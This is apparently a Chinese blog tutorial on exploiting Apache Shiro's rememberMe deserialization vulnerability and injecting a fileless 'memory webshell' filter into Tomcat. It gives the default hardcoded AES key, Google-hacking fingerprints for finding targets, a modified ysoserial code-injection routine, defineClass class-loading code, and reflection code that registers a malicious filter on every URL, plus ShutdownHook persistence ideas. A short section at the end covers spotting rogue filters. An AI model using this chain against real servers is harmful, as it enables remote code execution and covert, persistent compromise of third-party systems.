荐 深入Shiro反序列化漏洞与内存马
Shiro反序列化漏洞
漏洞介绍
上图为Shiro默认的登录页面,页面可见:Shiro提供了记住我(RememberMe
)的功能。
然而,Shiro对rememberMe
的cookie做了加密处理,shiro在CookieRememberMeManaer
类中将cookie中rememberMe
字段内容分别进行:序列化
、AES加密
、Base64编码
,三个操作。
而在识别身份的时候,则需要对Cookie里的rememberMe
字段进行逆操作:
- Base64解码
- AES解密
- 反序列化
由于AES加密的密钥Key
被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。
因此,攻击者完全可以构造一个恶意的Class对象,并对其序列化
,AES加密
,Base64编码
,然后作为cookie的rememberMe
字段发送给Shrio。Shiro将rememberMe进行解密并且反序列化,最终造成 反序列化攻击!
PS:
Shiro默认的密钥Key
统一为kPH+bIxk5D2deZiIxcaaaA==
,同时就算被人为修改过密钥key
,也可以通过Padding Oracle
来进行爆破!
.
因为我们知道padding只能为:data 0x01
或者data 0x02 0x02
或者data 0x03 0x03 0x03
或者data 0x04 0x04 0x04 0x04
或者data 0x05 0x05 0x05 0x05 0x05
或者
…
那如果出现以下这种padding的时候会怎么样呢?data 0x05 0x05
// 正常来说这个padding应为data 0x05 0x05 0x05 0x05 0x05
.
那解密之后的检验就会出现错误,因为padding的位数和padding内容不一致。
.
如果这个服务没有catch这个错误的话那么程序就会中途报错退出,表现为:如http服务的status code为500。那么这里就给了我们一个爆破的机会!
影响范围
影响版本:
- Shiro-550反序列化漏洞:Apache Shiro < 1.2.4
特征判断:返回包中包含rememberMe=deleteMe字段 - Shiro-721反序列化漏洞:Apache Shiro < 1.4.2
Google Hacking:
- header=“rememberme=deleteMe”
- app=“Apache-Shiro”
漏洞复现
0x01 环境准备
- 被攻击网站源码(一个shrio-demo):samples-web-1.2.4.war
- 反序列化工具(神器):ysoserial-0.0.6-SNAPSHOT-all.jar
- Payload构造小工具(将反序列化payload进行AES加密、Base64编码):poc.py
- 其他:Tomcat8、Fiddller5(或brup)
以上打包下载地址:https://download.csdn.net/download/localhost01/12618762
0x02 攻击实现
- 将samples-web-1.2.4.war扔到Tomcat8
- 打开Fiddler开启抓包,同时任意点击上面网站链接(如图中的
account page
链接)
- 构造payload
- 将payload.cookie的内容扔到cookie,并重放执行
如上,可以看到正确执行了notepad.exe
命令,成功弹出了记事本!
然而默认GitHub下载下来的 ysoserial-0.0.6-SNAPSHOT-all.jar
只支持键入 cmd命令
(即命令执行)。
而如果想要实现下面所说的内存马
,我们是需要编写代码让目标程序执行的(即代码执行),因此我们还需要将 ysoserial源码
下载下来,进行部分修改,并重新打包:
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "";
//如果以code:开头,认为是代码,否则认为是命令
if (!command.startsWith("code:")) {
cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";}
else {
System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
cmd = command.substring(5);
}
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class)
- 重新构造payload
- 将payload.cookie扔到cookie,并重放执行
内存马的实现
什么是内存马,内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。
那么如何实现呢,我们就需要了解一下Filter!
Filter介绍
0x01 Filter工作原理
我们知道Web程序的核心配置:web.xml
里面包含有 Listener
、Filter
、Servlet
等组件,而 Filter
程序是一个实现了特殊接口的 Java 类。
它与 Servlet
类似,也是由 Servlet 容器
进行调用和执行的,一般用于进行请求过滤,如权限控制、编码/敏感过滤等等。
当在 web.xml 注册了一个 Filter
来对某个 Servlet
程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet
程序,以及对请求和响应消息是否进行预修改。
0x02 Filter 链
在一个 Web 应用程序中可以注册多个 Filter
程序,每个 Filter 程序都可以对一个或一组 Servlet
程序进行拦截。如果有多个 Filter 对某个 Servlet 程序的访问过程进行拦截,那么当针对该 Servlet
的访问请求到达时,Web 容器将把这多个 Filter 程序组合成一个 Filter 链
(也叫过滤器链)。
Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,上一个 Filter.doFilter()
方法中调用 FilterChain.doFilter() 方法将激活下一个 Filter.doFilter()
方法。
最后一个 Filter.doFilter()
方法中调用的 FilterChain.doFilter() 方法将激活目标 Servlet.service()
方法。
只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。
0x03 Tomcat中Filter流程
用户在请求 Tomcat 资源的时候,会调用 ApplicationFilterFactory.createFilterChain()
方法,根据 web.xml 的 Filter
配置,去生成 Filter链
。
主要代码如下:
filterChain.setServlet(servlet);
filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = filterMaps.length;
int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
boolean isCometFilter;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
isCometFilter = false;
if (comet) {
try {
isCometFilter = filterConfig.getFilter() instanceof CometFilter;
} catch (Exception var21) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var21);
ExceptionUtils.handleThrowable(t);
}
if (isCometFilter) {
//添加Filter
filterChain.addFilter(filterConfig);
}
} else {
//添加Filter
filterChain.addFilter(filterConfig);
}
}
}
}
解读:
-
首先获取当前context,并从context中获取FilterMaps。FIlterMaps的数据结构如下:
我们可以看到,FilterMaps存放了所有的Filter的名称
和需拦截的url正则表达式
。 -
遍历FilterMaps中每一个FilterMap,调用
matchFiltersURL()
这个函数,去确定请求的url
和Filter需拦截的正则表达式
是否匹配。 -
如果匹配,则通过
context.findFilterConfig()
方法根据 **filter 对应的名称
**去查找context.filterConfigs
中的filterConfig
,随后将 filterConfig 添加到Filter.chain
中。filterConfig的数据结构如下:
可以看到,其实filterConfig
里面包含有filterDef
对象,而filterDef
对象里面即是真正的Filter
。
所以整体层级结构为:context
->filterConfigs(Map)
->filterConfig
->filterDef
->Filter
。
下面我们看一下ApplicationFilterChain.internalDoFilter方法,简化后的代码如下:
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
Filter filter = null;
filter = filterConfig.getFilter();
this.support.fireInstanceEvent("beforeFilter", filter, request, response);
filter.doFilter(request, response, this);
this.support.fireInstanceEvent("afterFilter", filter, request, response);
这里我们可以清楚看到:从刚才的 FilterChain
中,遍历每一个 FilterConfig
,然后拿出 FIlterConfig 对应的 filter
,最后调用我们熟悉的 filter.doFilter()
方法。
可以用如下流程图来方便我们理解这个过程:
可以看出,如果需要动态注册一个 Filter,结合上面的分析,只需要:
反射修改 context 相关字段,将自创建的 Filter
放到 context.filterConfigs
属性中,并在 context.filterMaps
中增加一个 filterName
和 URL
的映射,即可完成动态注册一个Filter。
好消息是,context已经帮我们实现了相关方法,我们就没有必要去通过反射等手段去修改,如下:
编写恶意Filter
编写 MyPayloadFilter.java
payload,*发挥编写,这里就不说了~
将恶意Filter加载到JVM内存
这里需要将我们写好并编译好的MyPayloadFilter.class
,通过反序列化漏洞
加载到被攻击程序的JVM内存中,这样下一步class.forName()
才能拿到这个恶意Filter
并动态注入到Tomcat
!
那么如何将外部class文件加载到内存中呢?
在这里我们先学习以下class.forName()
这个方法,查看openjdk的相关源码https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374
class.forName
会获取调用方的classloader
,然后调用forName0()
,从调用方的 classloader 中查找要查找的类。
当然,这是一个native方法,精简后源码如下https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104
Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
jboolean initialize, jobject loader, jclass caller)
{
char *clname;
jclass cls = 0;
clname = classname;
cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller);
return cls;
}
JVM_FindClassFromClassler
的代码在如下位置:https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp
JVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name,
jboolean init, jobject loader,
jclass caller))
JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException");
TempNewSymbol h_name =
SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(),
CHECK_NULL);
oop loader_oop = JNIHandles::resolve(loader);
oop from_class = JNIHandles::resolve(caller);
oop protection_domain = NULL;
if (from_class != NULL && loader_oop != NULL) {
protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain();
}
Handle h_loader(THREAD, loader_oop);
Handle h_prot(THREAD, protection_domain);
jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
h_prot, false, THREAD);
return result;
JVM_END
主要是获取 protectDomain
等相关信息。然后调用 find_class_from_class_loader
,代码如下
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init,
Handle loader, Handle protection_domain,
jboolean throwError, TRAPS) {
Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);
// Check if we should initialize the class
if (init && klass->is_instance_klass()) {
klass->initialize(CHECK_NULL);
}
return (jclass) JNIHandles::make_local(env, klass->java_mirror());
}
注意:这里的Klass
就相当于Java的class
!
SystemDictionary::resolve_or_fail
后续会调用 SystemDictionary::resolve_or_null
:
klassOop SystemDictionary::resolve_or_null(symbolHandle class_name, Handle class_loader, Handle protection_domain, TRAPS) {
assert(!THREAD->is_Compiler_thread(), "Can not load classes with the Compiler thread");
if (FieldType::is_array(class_name())) {
// 1. 如果是数组的话
return resolve_array_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
} else {
// 2. 如果是普通类的话
return resolve_instance_class_or_null(class_name, class_loader, protection_domain, CHECK_NULL);
}
}
对于咱们来讲,MyPayloadFilter.class
肯定不是数组。
所以我们主要来分析 systemDictionary::resolve_instance_class_or_null
。代码如下:
class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader()));
ClassLoaderData* loader_data = register_loader(class_loader);
Dictionary* dictionary = loader_data->dictionary();
unsigned int d_hash = dictionary->compute_hash(name);
{
InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain);
if (probe != NULL) return probe;
}
注意:
-
SystemDictionary
与Dictionary
关系SystemDictionary
是用来帮助保存 ClassLoader 加载过的类信息的。准确点说,SystemDictionary 并不是一个容器,真正用来保存类信息的容器是Dictionary
,每个 class_loader 的ClassLoaderData
中都保存着一个私有的Dictionary
,而 SystemDictionary 只是一个拥有很多静态方法的工具类而已,如上的systemDictionary::resolve_instance_class_or_null()
、SystemDictionary::resolve_or_null()
等,都是该工具类提供的静态方法; -
class_loader
与dictionary
在Java中的体现:这里的
class_loader
就类似Java的ClassLoader
;dictionary
就相当于ClassLoader
中的classes
属性,里面存储了所有加载JVM中的class类!
最终通过 dictionary->find()
方法去查到需查询的类。那么对应Java来看,其实也就是查找 classloader
的classes
属性集里面的 class类
。
因此,我们只需要将class文件
写入到 classloader.classes
属性中即可!
网上说,需要先使用 defineClass()
,将 网络传输过来的恶意 class byte数组
转换为 class类
,再使用反射将 class类
写入到 classloader 的 classes 字段!
其实我测试是不需要的,defineClass()
底层会自动将class类
加载到 classloader 的 classes 字段,如下为 defineClass 的底层实现:
实测:调用defineClass()方法之前
实测:调用defineClass()方法之后
因此,整个实现为:
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = base64AndCompress("[MyPayloadFilter.class]");
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass()
.getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass))
, 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
上面我们看到有一个 base64AndCompress()
方法:
如果我们直接将
MyPayloadFilter.class
作为参数进行HTTP请求,会因为payload过大,而超过tomcat的限制,导致tomcat报400 bad request错误。因此我们需要缩小我们动态加载 Filter 的 payload大小。
将恶意Filter动态注入到Tomcat
0x01 获取context
可通过MBean的方式去获取当前context,我们查看一下tomcat的MBean:
伪代码(具体需要使用反射获取下面的各个属性):
Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples-web-1.2.4,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context
当然,还有很多种办法,这里只是一个例子。
0x02 实例一个FilterMap,用于建立url与Filter名字的映射FilterMap
的作用建立 url
与 Filter名字
的关系。在这里我们需要设置我们的恶意filter
都拦截哪些url。代码如下:
Object filterMap = Class.forName("FilterMap").newInstance();
Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class);
filterMapaddURLPattern.invoke(filterMap, "/*");
//设置filter的名字为testFilter
Method setFilterName= Class.forName("FilterMap").getMethod("setFilterName", String.class);
setFilterName.invoke(filterMap, "testFilter");
0x03 实例一个FilterDef
首先我们实例化一个FilterDef,FilterDef的作用主要为描述Filter名字与Filter实例的关系。同时后面调用context.FilterMap的时候会校验FilterDef,所以我们需要先设置FilterDef:
Object filterDef = Class.forName("FilterDef").newInstance();
// 1.设置过滤器名字
Method setFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class);
setFilterName.invoke(filterDef, "testFilter");
// 2.设置过滤器实例
Method setFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class);
//通过class.forname拿到我们的攻击Filter
Class payloadFilter = Class.forName("MyPayloadFilter");
setFilter.invoke(filterDef, payloadFilter.newInstance());
0x04 实例一个FilterConfig(FilterDef为构造参数),并添加至context的filterConfigs属性中
这里很简单,最后我们需要添加ApplicationFIlterConfig就可以了,代码如下
Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs");
HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context);
Constructor<?>[] filterConfigCon =
Class.forName("ApplicationFilterConfig").getDeclaredConstructors();
filterConfigs.put("testFilter", filterConfigCon[0].newInstance(context, filterDef));
以上代码即可将一个恶意Filter注入到Tomcat!
另外网上还有一些 不死WebShell
的方法,如通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的。
ShutdownHook是JDK提供的一个用来在JVM关掉时清理现场的机制,这个钩子可以在如下场景中被JVM调用:
1.程序正常退出
2.使用System.exit()退出
3.用户使用Ctrl+C触发的中断导致的退出
4.用户注销或者系统关机
5.OutofMemory导致的退出
6.Kill pid命令导致的退出
ShutdownHook可以很好的保证在tomcat关闭时,让我们有机会埋下复活的种子!
如何查看恶意Filter
1、打开JvisualVM(需安装MBean插件):
2、tomcat->Catalina/Filter节点,检查是否存在我们不认识的、没有在web.xml中配置或filterClass为空的Filter,如图:
参考:
- https://www.cnblogs.com/potatsoSec/p/13060261.html
- https://xz.aliyun.com/t/7388
本文地址:https://blog.csdn.net/localhost01/article/details/107340698